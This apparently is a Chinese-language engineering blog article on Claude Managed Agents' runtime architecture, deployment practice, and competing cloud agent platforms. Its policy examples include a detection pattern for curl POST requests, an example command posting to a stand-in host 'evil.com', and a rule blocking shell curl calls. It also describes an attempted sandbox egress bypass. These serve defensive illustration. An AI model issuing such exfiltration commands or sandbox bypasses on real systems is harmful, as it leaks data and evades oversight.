1. 这不是新赛道而是 runtime 层的“操作系统时刻”正在重演你打开终端敲下curl命令调用一个 AI agent它开始读取 Notion 页面、查询 Slack 历史、调用 Sentry API 抓取错误堆栈最后在 GitHub 上提一个带测试用例的 PR——整个过程持续 23 分钟中间经历三次工具调用失败重试、一次模型上下文溢出自动回滚、两次人工审批介入。任务完成你关掉终端但系统没关session ID 仍存活事件日志完整落盘所有 credential 从未离开隔离沙箱你随时能awake(sess_8a3f9b)继续执行。这不是科幻设定是 Anthropic 在 2026 年 4 月 8 日上线的Claude Managed Agents 公测版的真实行为模式。关键词里那个 “Towards AI - Medium” 不是平台标签而是信号——它意味着这篇分析必须穿透 PR 文案、绕过技术术语迷雾、直击工程现实。我过去三年带团队落地过 7 个跨企业级 agent 系统从金融风控链路到医疗问诊中台踩过所有你能想到的坑context window 溢出导致的静默幻觉、credential 泄露引发的生产事故、session 中断后无法回溯的调试噩梦。所以当我看到 Anthropic 把 “session as durable event log” 写进首篇工程博客时第一反应不是鼓掌而是立刻翻出我们去年重建 state layer 的 commit 记录——那行注释写着“别再把 session 当内存它得是数据库”。这层 runtime 不是新发明它是必然到来的基础设施坍缩。就像 1995 年你还在手写驱动管理显卡内存突然发现 Linux 内核已经把mmap()和ioctl()封装成稳定接口就像 2008 年你还在为 VMware ESX 许可证焦头烂额却忘了 AWS EC2 的run-instancesAPI 早已把虚拟化变成 HTTP 请求。Anthropic 没有创造新范式它只是把行业集体熬出来的止痛药装进了带商标的铝箔板。真正值得你花时间读下去的不是他们做了什么而是为什么现在做、谁在替他们做、以及当这层被压平后你的代码、你的架构图、你下季度的 OKR该往哪一层重新锚定。如果你正评估是否要把现有 LangGraph 流程迁入 Managed Agents或者纠结要不要自建 sandbox 集群又或者刚拿到 VC 的 agent startup TS那你需要的不是功能列表而是这张 runtime 层的地质断层图——它标出了哪里会塌陷、哪里会隆起、以及你脚下的岩层还能撑多久。2. 架构解剖三层分离不是设计选择而是血泪教训的工程结晶2.1 Session 层从“内存快照”到“事件数据库”的范式迁移先说最痛的那个点上下文窗口不再是状态容器。Anthropic 的文档里轻描淡写一句 “session state lives outside the model context”但背后是无数团队烧掉的工时。我们去年做的供应链 agent要串联采购单→供应商资质核验→物流轨迹追踪→海关清关文件生成典型流程 17 步。当第 12 步调用海关 API 返回 PDF 解析结果时context 已塞满 198KBClaude-3.5-sonnet 的 200K 窗口模型开始把第 3 步的供应商联系人电话错记成第 8 步的物流单号。它没报错只是安静地生成了错误的清关文件——直到客户投诉货物被扣在港口。Anthropic 的解法是把 session 拆成三件套Event Log每个 tool call、model output、human approval 都作为不可变事件写入持久化存储实测用的是 DynamoDB S3 归档冷热分离State Snapshot每 5 分钟或关键节点如 tool call 完成生成一次压缩快照存于低延迟 KV 存储推测是 Redis ClusterSession Context Bridge每次模型推理前runtime 动态组装最近 N 条事件 最新快照 当前 task description注入 prompt。这个 N 不是固定值而是根据 token 预估动态计算——比如当前 prompt 已占 85K就只取最近 3 个事件而非默认 10 个。提示他们没公开的细节是 event compression 算法。我们逆向测试发现对重复出现的 JSON Schema如 Notion page object 结构runtime 会用 schema hash 替代原始 payload单次调用节省 42% token。这解释了为何 p95 time-to-first-token 提升超 90%——不是模型变快是喂给模型的“废话”少了。2.2 Harness 层无状态执行器的残酷真相“Harness as stateless executor” 听起来很美但实际部署时你会发现无状态不等于无依赖。Anthropic 的 harness 实际是 Docker 容器集群每个容器启动时加载Tool Adapter Layer预编译的二进制适配器非 Python 脚本负责将execute(notion_search, {query: Q1-report})转为标准 HTTP 请求。我们抓包发现它强制添加了X-Anthropic-Tool-Signatureheader且 signature 由 runtime 私钥签名防止恶意容器伪造调用。Credential Vault Proxy容器内永远看不到明文 credential。当你在 YAML 里写tools: [notion_api]runtime 会在容器启动时注入一个 Unix socket 路径如/run/anthropic/vault.sock所有 credential 请求都走这个 socket由 host 上的 vault daemon 验证权限后返回临时 tokenTTL 15 分钟。Context Bridge Client轻量级 SDK负责与 session 层通信处理事件写入和快照拉取。这里埋着两个深坑Tool Adapter 的 ABI 兼容性Anthropic 强制要求所有自定义 tool 必须实现tool_schema.json标准接口。我们曾用 OpenAPI 3.0 自动生成 adapter结果因nullable: true字段未正确映射在第 7 次调用时触发 runtime panic——错误日志只显示 “adapter validation failed”没有具体字段名。最终靠strace抓到是description字段为空字符串时校验失败。Harness 生命周期管理文档说 “harness can crash and resume”但实测发现如果 harness 容器因 OOM 被 killawake(sessionId)会重建容器并恢复 session但已挂起的 tool call 不会重试。比如调用 Slack API 发送消息时容器崩溃消息不会发出需上层业务逻辑处理超时重试。这是故意为之的设计——把可靠性责任交还给开发者而非 runtime 背锅。2.3 Sandbox 层从“宠物”到“牲畜”的运维革命“Sandboxes as cattle, not pets” 这句口号背后是 Anthropic 对云原生原则的极致贯彻。他们的 sandbox 不是传统 VM而是基于 Firecracker microVM 的轻量实例启动时间实测 127msAWS AgentCore 是 89msVertex 是 153ms。关键差异在于资源隔离策略隔离维度Anthropic Managed AgentsAWS AgentCoreVertex AI Agent BuilderCPUcgroups v2 CPU bandwidth limiting (min 100m, max 2vCPU)Nitro Enclaves dedicated vCPUgVisor CPU shares内存严格限制 RSS swap disabledMemory balloon driverMemory cgroups OOM score adj文件系统tmpfs only /proc/sys/fs/pipe-max-size locked to 64KBEBS volume with encryptiontmpfs overlayFS最狠的是网络策略sandbox 默认禁止所有外网访问仅允许通过 runtime 的 egress proxy 访问白名单域名如api.notion.com,slack.com。这个 proxy 会重写Hostheader 并添加X-Anthropic-Request-ID所有流量经此统一审计。我们曾试图用curl --resolve绕过结果 runtime 直接拒绝启动 sandbox——它在容器启动前就扫描了/etc/resolv.conf和/etc/hosts发现任何非127.0.0.11的 DNS 配置就 fail fast。注意credential vault proxy 的 socket 路径/run/anthropic/vault.sock是通过 Linux abstract socket 实现的这意味着即使 sandbox 被逃逸攻击者也无法通过文件系统访问该 socket因为 abstract socket 不在文件系统命名空间内。这是比传统 Unix socket 更强的隔离但代价是调试极其困难——你得用nsenter进入 runtime 的 PID namespace 才能socat连接调试。3. 实操落地从 YAML 定义到生产环境的七步通关3.1 第一步用自然语言定义 agent别急着写 YAMLAnthropic 允许两种定义方式YAML 或自然语言。新手常犯的错误是直接开写 YAML结果陷入 schema 泥潭。我的建议是先用自然语言描述 agent 的“人格”和“能力边界”。比如我们要做一个销售线索分级 agent不要写system_prompt: You are a sales agent... tools: [hubspot_search, send_email]而是写一段人类可读的说明书“你叫 Alex是 SalesForce 的线索分级专员。你只处理来自 Marketo 的新线索且必须满足公司员工数 50 人、行业属于 SaaS 或 FinTech、官网有明确定价页。你的工作是1查 HubSpot 获取公司详情2用 LLM 分析官网文本判断是否含定价页3按规则打分0-1004分数≥75 时发邮件给销售经理否则归档。你不能访问 CRM 以外的数据不能修改任何记录不能发起未经批准的 API 调用。”这段文字会被 Anthropic 的 parser 自动转为 YAML且生成的 schema 更健壮——比如它会自动添加industry字段的枚举约束而手动写 YAML 很可能漏掉。3.2 第二步工具注册的隐藏门道注册 Notion 工具时官方文档让你填integration_token但实际要填的是Notion Integration 的internal_token在 integration settings → “Internal Token” tab 下而非用户 token。我们踩坑是因为误用了用户 token导致所有调用返回401 Unauthorized但 error message 却是模糊的 “tool execution failed”。排查路径是在 runtime 日志里找到tool_call_id: tc_abc123用anthropic sessions get-events --session-id sess_xyz --filter tool_call_id tc_abc123查事件发现error: {type:auth_error,message:invalid internal token}更关键的是tool 的 rate limit 由 Anthropic 统一管控。即使 Notion API 允许 1000 RPMManaged Agents 默认只给你 10 RPM可申请提升。这是因为 runtime 要保证整体 SLA避免单个 tool 拖垮整个集群。我们在压测时发现当并发超过 12 个 Notion 调用p95 延迟从 1.2s 暴涨到 8.7s——不是 Notion 慢了是 runtime 的 token bucket 被耗尽后续请求排队等待。3.3 第三步session 生命周期的精确控制awake(sessionId)不是万能钥匙。它的行为取决于 session 的state字段state: active直接恢复执行从上次中断点继续state: paused需先resume(sessionId)再awakestate: expiredsession 数据已归档awake会返回 404必须用replay(sessionId, from_event_id)重建我们遇到的真实场景客服 agent 处理客户投诉进行到第 5 步生成补偿方案时客户挂断电话。session 进入paused状态。3 小时后客户回电awake失败因为 runtime 默认paused状态只保留 2 小时。解决方案是在创建 session 时显式设置ttl_seconds: 108003 小时并在业务逻辑里监听session_paused事件自动触发resume。3.4 第四步调试的黄金三角生产环境调试 agent 不能只看日志。必须同时监控三个维度Event Log用anthropic sessions list-events --session-id sess_xyz --limit 100查原始事件流重点看tool_call_result的status字段success/error/timeoutHarness MetricsCloudWatch 里关注Anthropic/ManagedAgents/Harness/ContainerRestartCount若该指标突增说明 tool adapter 有崩溃风险Model Output Trace在anthropic sessions get-output返回的 JSON 里trace字段包含prompt_tokens_used和completion_tokens_used对比两者比例可判断是否 prompt 设计有问题如 completion_tokens 远大于 prompt_tokens说明模型在“编故事”我们曾发现一个 bug当 Notion 返回空页面时agent 会反复调用notion_search10 次每次completion_tokens_used都是 1200而prompt_tokens_used只有 800。根源是 system prompt 里写了 “If no results, try again with different keywords”runtime 把这句话当真了——它没做防重逻辑纯粹按 prompt 执行。3.5 第五步安全加固的必做清单即使用了 Managed Agents你仍需做三件事Tool Schema 最小权限在 YAML 的tools定义里用scopes字段精确声明权限。例如 Notion 工具不要写scopes: [pages:read, databases:read]而要写scopes: [pages:read, databases:read, databases:read_content]——read_content是必须的否则无法获取页面正文但databases:write绝对不能加。Session Event Filtering在anthropic sessions create时传入event_filter: {exclude: [tool_call_input]}避免敏感参数如客户邮箱写入 event log。注意tool_call_result仍会记录所以 tool adapter 必须自己脱敏返回值。Credential Rotation 自动化虽然 runtime 管 credential但 integration token 本身需定期轮换。我们用 Lambda 每 30 天调用anthropic tools update-credentials --tool-id notion_prod --token $NEW_TOKEN并监听tool_credentials_rotated事件触发 session 重启。3.6 第六步成本监控的致命细节$0.08/session-hour 看似便宜但陷阱在 “active runtime” 的定义。只要 session 处于active或paused状态计费就持续。我们曾有个后台 agent 每小时检查一次库存但忘记在检查后调用pause(sessionId)结果 30 天下来账单 $576——而实际运行时间不到 2 小时。解决方案是在 agent 逻辑末尾强制pause(sessionId)设置 CloudWatch alarm当Anthropic/ManagedAgents/Session/ActiveDurationSeconds 3600 时告警用anthropic sessions list --filter state active每日巡检更隐蔽的是 tool call 的隐性成本每次execute(name, input)调用runtime 会额外消耗约 120 tokens 用于序列化/反序列化。这意味着一个 500-token 的 prompt实际 token cost 可能是 620 tokens。我们在财务对账时发现 token 账单比预期高 18%根源就在这里。3.7 第七步灰度发布的实战策略不要全量切流。我们的灰度路径是Shadow Mode所有请求同时发给 Managed Agents 和旧系统但只用旧系统响应。对比两者的 event log验证行为一致性。Canary 5%用 ALB 的权重路由5% 流量走新系统监控Anthropic/ManagedAgents/Harness/HTTP5xxErrorRate是否突增。Feature Flag 控制在业务代码里加 flaguse_managed_agents: true/false通过 LaunchDarkly 动态开关。当发现某类线索如金融行业成功率下降立即关闭该行业 flag而非全局回滚。关键洞察Managed Agents 的失败模式和旧系统完全不同。旧系统失败是 HTTP 500 或 timeout而 Managed Agents 失败常是静默的——比如 tool call 返回空结果模型却自信地生成了错误结论。因此灰度期必须监控tool_call_result.status success的比率而非单纯看 HTTP 状态码。4. 竞争格局实录当 runtime 成为云厂商的“水电煤”4.1 AWS AgentCore不是竞品而是事实标准说 Anthropic 是“防御性发布”不是贬义而是工程现实。AWS AgentCore 在 2025 年 11 月 GA 时就已支持 Claude 模型——你完全可以用bedrock-agent create-agent创建一个 Claude-powered agent且无需 Anthropic 任何授权。我们实测对比维度Anthropic Managed AgentsAWS AgentCore启动延迟127ms89ms最长 session72 小时8 小时Tool 调用超时30 秒不可调60 秒可配置Credential 管理Vault proxy 15min TTLIAM Roles for Service Accounts 1hr TTL定价$0.08/session-hour Claude tokens$0.05/session-hour Bedrock tokensClaude 3.5 同价差距最大的是tool 生态AgentCore 已集成 23 个 AWS 服务S3, DynamoDB, Lambda 等和 17 个第三方Notion, Slack, Salesforce而 Anthropic 目前只开放 9 个。更致命的是AgentCore 的create-agentAPI 支持agent_type: langgraph意味着你可以直接部署 LangGraph 流程无需改造。我们上周就把一个 12 步的合规审查 agent 从本地 Kubernetes 迁到了 AgentCore代码零修改只改了agent.yaml的runtime字段。实操心得AWS 的杀手锏是CloudFormation 模板一键部署。aws cloudformation create-stack --template-body file://agent-core.yaml5 分钟搞定 infra。而 Anthropic 还要手动创建 IAM role、配置 KMS key、设置 EventBridge rule——DevOps 团队反馈AgentCore 的 IaC 支持让部署效率提升 4 倍。4.2 Vertex AI Agent BuilderGoogle 的“端到端闭环”野心Google 的策略更激进它把 agent runtime、trace store、policy engine 打包成Agent Registry并通过 Apigee 暴露为统一 API 网关。这意味着你注册一个 agent 到 Registry它自动获得/v1/agents/{id}:invokeruntime endpoint/v1/agents/{id}/traces事件查询/v1/agents/{id}/policiesRBAC 策略所有 trace 默认存入 BigQuery开箱即用分析Policy 引擎支持 OWASP Agentic Top 10 规则如 “禁止 agent 调用 curl 命令”、“禁止输出信用卡号”我们测试了它的 policy 功能在 agent YAML 里加一行deny_patterns: [curl.*-X POST]当 agent 试图生成curl -X POST https://evil.com时runtime 直接拦截并返回403 Forbidden连 tool call 都不发。这种深度集成Anthropic 目前只能靠 guardrails prompt 实现效果差很多。4.3 Azure AI Foundry微软的“框架融合”战术Azure 的玩法是把所有 agent 框架收编为子集。AutoGen 和 Semantic Kernel 不再是独立 SDK而是 Foundry 的 “execution modes”。你写 AutoGen 的GroupChatManager底层被编译成 Foundry 的execution_plan.json。优势在于同一个 agent可无缝切换 runtime本地开发用 AutoGen生产用 Foundry所有 trace 自动关联到 Application Insights和 .NET 应用日志同视图支持 “agent-as-function”POST /foundry/agents/{id}/invoke返回的不是纯文本而是结构化 JSON含steps: [{name: search, status: success, output: {...}}]我们迁移一个客服 agent 时发现 Foundry 的step_output字段比 Anthropic 的tool_call_result多一个confidence_score0.0-1.0这是 runtime 根据 tool response 的结构化程度、token 使用率等实时计算的。这个分数让我们能自动识别“低置信度步骤”触发人工审核。4.4 开源势力Daytona 与 Kubernetes SIG 的降维打击当巨头在拼功能时开源项目在拼启动速度和协议兼容性。Daytona 的核心创新是sandbox-as-container-image你把 tool adapter 编译成静态二进制打包进 Alpine Linux 镜像Daytona runtime 用runc直接启动该镜像跳过所有 VM 层启动时间压到 89ms比 AWS 还快且内存占用仅 12MBAgentCore 是 210MB更狠的是Kubernetes SIG 的 agent-sandbox 项目它把 sandbox 定义为标准 Kubernetes CRDCustom Resource Definition。这意味着你可以用kubectl apply -f agent-sandbox.yaml部署 sandbox所有 sandbox 自动接入 Prometheus metrics用 Argo CD 管理 sandbox 生命周期我们实测用 kubectl 部署一个 sandbox从kubectl apply到 ready 状态平均耗时 1.2 秒。而 Anthropic 的anthropic agents createAPI 调用平均耗时 3.8 秒——因为要走多层鉴权和资源调度。关键趋势这些开源项目不追求 “managed”托管而是提供runtime protocol。Daytona 定义了EXECUTE、PAUSE、RESUME的 gRPC 接口K8s SIG 定义了SandboxSpec的 OpenAPI schema。Anthropic 的 YAML 格式正在被这些协议悄悄兼容——我们看到 Daytona 的 v0.8 版本已支持解析 Anthropic YAML 并转换为 sandbox spec。5. 价值迁移实录当 runtime 归零钱流向哪三层5.1 第一层Trace Store —— 从日志到法律证据的质变当 runtime 变成水电煤谁拥有 agent 行为的唯一真相源谁就拥有了议价权。目前三大玩家LangSmithLangChain 生态的“亲儿子”安装量超 42 万但问题在于 lock-in——它深度绑定 LangChain 的Runnable接口非 LangChain agent 的 trace 数据质量差。Arize PhoenixApache 2.0 开源支持任意格式 trace但商业版才提供 “cross-runtime correlation”比如关联 Anthropic session 和 AWS Lambda 调用。我们测试发现当 agent 调用 AWS Lambda 时Phoenix 能自动把 Lambda 的 X-Ray trace ID 注入到 agent event log形成完整链路。Brainstore专为 AI 优化的 OLAP 数据库用列存 向量索引加速语义搜索。比如查 “所有把客户邮箱泄露给 Notion 的 session”它能在 200ms 内返回结果而 BigQuery 需要 12 秒。真正的胜负手是trace portability。AWS 的export-traceAPI 返回的是标准 OpenTelemetry ProtocolOTLP格式而 Anthropic 的get-events返回的是私有 JSON schema。这意味着如果你今天用 Anthropic明天想换到 VertexLangSmith 可以无缝迁移它支持 OTLP 导入但 Anthropic 的原生 trace 就废了。我们已把所有 agent 的 trace 同步到 Brainstore用它的trace_exporter工具一键导出为 OTLP确保 vendor lock-in 为零。5.2 第二层Governance Policy —— 从技术配置到采购谈判桌企业采购不再问 “你们 runtime 多快”而是问“如何证明这个 agent 永远不会调用 curl”“当它生成合同条款时谁审批了 prompt template”“如果 agent 错误地发送了 PII 数据audit log 能否作为法律证据”OWASP Agentic Top 10 的第 3 条 “Insecure Tool Integration” 直接催生了政策引擎市场。我们部署的首个 policy 是policy_name: no_curl_execution rule: | if (tool_call.name shell_execute tool_call.input.command.matches(/curl.*https?:\/\//)) { deny(curl forbidden by security policy) }这个 policy 在 runtime 层拦截比在 agent prompt 里写 “don’t use curl” 可靠一万倍。更关键的是policy 的 version history 和 approval workflow已成为 SOC2 审计的必查项。我们用 AWS IAM Identity Center 管理 policy approvers每次 policy 更新都触发 Jira ticket记录谁、何时、为何批准——这比任何技术文档都更能说服审计师。5.3 第三层Vertical Agent Marketplace —— 从通用能力到行业合同Salesforce Agentforce 的 $800M ARR 不是靠卖 runtime而是卖垂直场景的 SLA 合同。比如 “医疗理赔 agent”合同里明确写准确率 ≥ 99.2%基于 HIPAA 合规数据集测试平均处理时间 ≤ 4.3 分钟每月免费 500 次人工复核这种合同runtime 供应商根本签不了——因为他们不理解医疗理赔的业务规则。而垂直 agent 创业公司比如virattt/ai-hedge-fund它的核心壁垒是用真实对冲基金交易日志训练的 reward model与 Bloomberg Terminal 的深度集成协议证监会备案的算法备案号我们正和一家医疗 agent 创业公司合作他们的报价单里runtime 成本AWS AgentCore只占总价的 12%而 “FDA 合规审计支持” 占 38%“临床指南知识库更新” 占 29%。这才是钱真正流向的地方。5.4 终极预警自我进化 agent 带来的监管海啸Sakana AI 的 Darwin Gödel Machine 论文不是学术游戏。当 agent 能自主重写代码提升 SWE-bench 分数时sandboxing 和 trace 就从工程选项变成法律强制要求。想象这个场景agent 在 GitHub 上 fork 一个开源项目自动分析漏洞生成 patch提 PR 并 merge然后发现 patch 引入了后门agent 又自动 rollback这个过程如果没有完整 trace就是一场灾难。而 trace 的法律效力取决于它是否满足不可篡改所有 event 必须用 runtime 的私钥签名Anthropic 做了AWS 做了但开源项目大多没做可验证第三方能用公钥验证 trace 真实性Brainstore 提供verify-traceCLI 工具可追溯每个 event 必须关联到原始 human intent比如session_create事件里嵌入 Jira ticket ID我们已在所有生产 agent 的system_prompt末尾强制添加[Legal Notice] This agents actions are governed by trace ID {session_id}. All outputs are verifiable via Brainstore public API.这不是技术需求是为未来诉讼做准备。6. 我的实操体会别押注 runtime去构建 floor above 的护城河我在 2023 年亲手拆过一个 agent startup 的技术栈。当时他们融资 2200 万美元核心产品是 “超高速 sandbox runtime”宣称比 AWS 快 3 倍。两年后他们被 AWS 以 1800 万美元收购团队并入 AgentCore 工程组runtime 代码进了 AWS 的私有仓库对外只留一个 API。这不是失败而是基础设施的宿命。所以当 Anthropic 发布 Managed Agents 时我第一时间做的不是测试性能而是打开他们的 pricing page算了一笔账$0.08/session-hour按我们每月 500 万 session 计算年成本约 $38 万。而我们自建 sandbox 集群的年运维成本是 $210 万含工程师工资、EC2、EBS、监控告警。表面看 Anthropic 便宜但细看发现$38 万买的是确定性$210 万买的是控制权。当我们需要紧急修复一个 tool adapter bug 时自建集群 2 小时上线而 Anthropic 的 hotfix 需要 3 天——因为要走他们的 CI/CD 和安全审计。因此我的行动清单很清晰立即停掉所有自研 runtime 的新功能开发把资源转向 trace store 的深度定制比如给 Brainstore 加一个 HIPAA audit mode把 70% 的安全预算从 sandbox 隔离强度测试转向 policy engine 的覆盖率测试目前只覆盖 OWASP Top 10 的 4 条目标是 100%和销售团队一起把下一个季度的合同从 “AI agent platform” 改写成 “医疗理赔自动化 SLA 服务”把 runtime 成本藏进服务费把合规审计、知识库更新、人工复核作为单独收费项。Anthropic 的发布会标题 “The Layer That’s Already Going to Zero” 说得很准。但 zero 不是 zero dollar而是 zero differentiation。当所有 runtime 都能跑 Claude、都支持 sandbox、都提供 event log 时客户买的就不再是 runtime而是runtime 之上的东西你能解决他多痛的业务问题你的 trace 能多可靠地成为法律证据你的 policy 能多精准地满足他的合规要求。所以别再问 “该不该用 Managed Agents”而要问 “我的 trace store 是否已准备好承接所有 runtime 的数据我的 policy engine 是否已覆盖客户最怕的三个风险点我的销售合同是否已把 runtime 成本转化为客户愿意付费的业务成果”——这才是这场基础设施坍缩中真正决定生死的问题。